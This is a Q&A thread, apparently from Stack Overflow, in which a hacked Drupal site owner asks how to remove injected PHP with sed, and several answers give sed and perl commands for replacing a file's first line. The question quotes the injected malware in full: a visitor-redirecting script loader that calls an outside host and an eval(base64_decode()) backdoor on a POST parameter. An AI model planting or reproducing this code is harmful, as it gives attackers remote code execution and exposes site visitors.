robert laing
robert laing

Reputation: 1401

sed, replace first line

I got hacked by running a really outdated Drupal installation (shame on me)

It seems they injected the following in every .php file;

<?php global $sessdt_o; if(!$sessdt_o) { 
  $sessdt_o = 1; $sessdt_k = "lb11"; 
  if(!@$_COOKIE[$sessdt_k]) { 
   $sessdt_f = "102"; 
   if(!@headers_sent()) { @setcookie($sessdt_k,$sessdt_f); } 
   else { echo "<script>document.cookie='".$sessdt_k."=".$sessdt_f."';</script>"; } 
  } 
  else { 
   if($_COOKIE[$sessdt_k]=="102") { 
    $sessdt_f = (rand(1000,9000)+1); 
     if(!@headers_sent()) {
      @setcookie($sessdt_k,$sessdt_f); } 
     else { echo "<script>document.cookie='".$sessdt_k."=".$sessdt_f."';</script>"; }  
     sessdt_j = @$_SERVER["HTTP_HOST"].@$_SERVER["REQUEST_URI"]; 
     $sessdt_v = urlencode(strrev($sessdt_j)); 
     $sessdt_u = "http://turnitupnow.net/?rnd=".$sessdt_f.substr($sessdt_v,-200); 
     echo "<script src='$sessdt_u'></script>"; 
     echo "<meta http-equiv='refresh' content='0;url=http://$sessdt_j'><!--"; 
    } 
   } 
   $sessdt_p = "showimg"; 
   if(isset($_POST[$sessdt_p])){
    eval(base64_decode(str_replace(chr(32),chr(43),$_POST[$sessdt_p])));
    exit;
   } 
  }

Can I remove and replace this with sed? e.g.:

find . -name *.php | xargs ... 

I hope to have the site working just for the time being to use wget and made a static copy.

Upvotes: 67

Views: 110157

Answers (3)

Stefan van den Akker
Stefan van den Akker

Reputation: 6999

To replace the first line of a file, you can use the c (for "change") command of sed:

sed '1c<?php' 

which translates to: "on line 1, replace the pattern space with <?php".

For this particular problem, however, something like this would probably work:

sed '1,/^$/c<?php'

which reads: change the range "line 1 to the first empty line" to <?php, thus replacing all injected code.

(The second part of the address (the regular expression /^$/) should be replaced with an expression that would actually delimit the injected code, if it is not an empty line.)

See also this references of sed commands in the GNU implementation.

Upvotes: 23

milahu
milahu

Reputation: 3559

# replace only first line
printf 'a\na\na\n' | sed '1 s/a/b/'
printf 'a\na\na\n' | perl -pe '$. <= 1 && s/a/b/'

result:

b
a
a

perl is needed for more complex regex,
for example regex lookaround (lookahead, lookbehind)

sample use:

patch shebang lines in script files to use /usr/bin/env

shebang line is the first line: #!/bin/bash etc

find . -type f -exec perl -p -i -e \
  '$. <= 1 && s,^#!\s*(/usr)?/bin/(?!env)(.+)$,#!/usr/bin/env \2,' '{}' \;

this will replace #! /usr/bin/python3 with #!/usr/bin/env python3
to make the script more portable (nixos linux, ...)

the (?!env) (negative lookahead) prevents double-replacing

its not perfect, since #!/bin/env foo is not replaced with #!/usr/bin/env foo ...

Upvotes: 2

Scharron
Scharron

Reputation: 17767

You can use sed with something like

sed '1 s/^.*$/<?php/'

The 1 part only replaces the first line. Then, thanks to the s command, it replaces the whole line by <?php.

To modify your files in-place, use the -i option of GNU sed.

Upvotes: 139

Related Questions